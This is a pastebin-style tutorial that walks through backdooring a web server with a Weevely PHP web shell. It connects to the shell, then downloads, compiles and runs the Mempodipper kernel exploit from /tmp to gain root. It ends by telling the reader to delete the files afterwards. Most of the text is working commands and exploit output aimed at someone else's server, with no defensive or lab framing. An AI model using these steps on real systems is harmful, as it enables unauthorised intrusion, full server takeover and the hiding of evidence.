View difference between Paste ID: Ud9CEZnM and NNnnzy4Z
SHOW: | | - or go back to the newest paste.
1
Weevely to root tutorial 
2
3
wget https://github.com/downloads/epinna/Weevely/weevely-0.7.1.tar.gz
4
tar -zxvf weevely-0.7.1.tar.gz
5
cd to the new dir
6
now type ./weevely.py generate <password>
7
8
<password> is the bit you change to any password 
9
EG ./weevely.py generate Password123
10
11
this will create a weevely.php file in your current dir 
12
if you're sill unsure this is an in depth tutorial on this https://github.com/epinna/Weevely/wiki/Tutorial
13
14
Now once you have uploaded you weevely.php file to the target server and you know what dir to locate it in we go onto the next step
15
16
connecting to your backdoor
17
./weevely.py http://www.targetsite.com/dir/weevely.php <password> 
18
19
the <password> is what you chose when making the backdoor
20
21
Should look like this: 
22
23
user@IMNOTAPC:~$ ./weevely.py http://xxxxx.xx/weevely.php Password123
24
      ________                      __
25
     |  |  |  |-----.----.-.--.----'  |--.--.
26
     |  |  |  |  -__| -__| |  | -__|  |  |  |
27
     |________|_____|____|___/|____|__|___  | v0.7.1
28
                                      |_____|
29
              Stealth tiny web shell
30
31
[+] Starting terminal, shell probe may take a while
32
[+] List modules with <tab> and show help with :show [module name]
33
34
35
now that we have the back door its time to find out the linux kernel version
36
type: 
37
uname -a
38
response: 
39
40
Linux xxxxxxxx.miniserver.com 2.6.39.4-x1 #1 SMP Wed Oct 26 11:39:05 GMT 2011 i686 GNU/Linux
41
42
Note the ker version is 2.6.39, there is a local root exploit for this, so we can google
43
"2.6.39 local root exploit"
44
there is one on exploit-db 
45
46
now I go back to my shell then type:
47
cd /tmp
48
this is because /tmp will always let you write the file to it 
49
50
and type:
51
wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
52
53
then type:
54
gcc -o test mempodipper.c
55
replace mempodipper.c with the exploit suited to your server 
56
now to set permissions :
57
chmod u+x test
58
59
now to run:
60
61
./test
62
63
===============================
64
=          Mempodipper        =
65
=           by zx2c4          =
66
=         Jan 21, 2012        =
67
===============================
68
69
[+] Ptracing su to find next instruction without reading binary.
70
[+] Creating ptrace pipe.
71
[+] Forking ptrace child.
72
[+] Waiting for ptraced child to give output on syscalls.
73
[+] Ptrace_traceme'ing process.
74
[+] Error message written. Single stepping to find address.
75
[+] Resolved call address to 0x8049984.
76
[+] Opening socketpair.
77
[+] Waiting for transferred fd in parent.
78
[+] Executing child from child fork.
79
[+] Opening parent mem /proc/411/mem in child.
80
[+] Sending fd 6 to parent.
81
[+] Received fd at 6.
82
[+] Assigning fd 6 to stderr.
83
[+] Calculating su padding.
84
[+] Seeking to offset 0x8049978.
85
[+] Executing su with shellcode.
86
87
[email protected]:#
88
89
YOU HAVE ROOT :D 
90
91
don't forget to delete them 
92
rm -r <filename>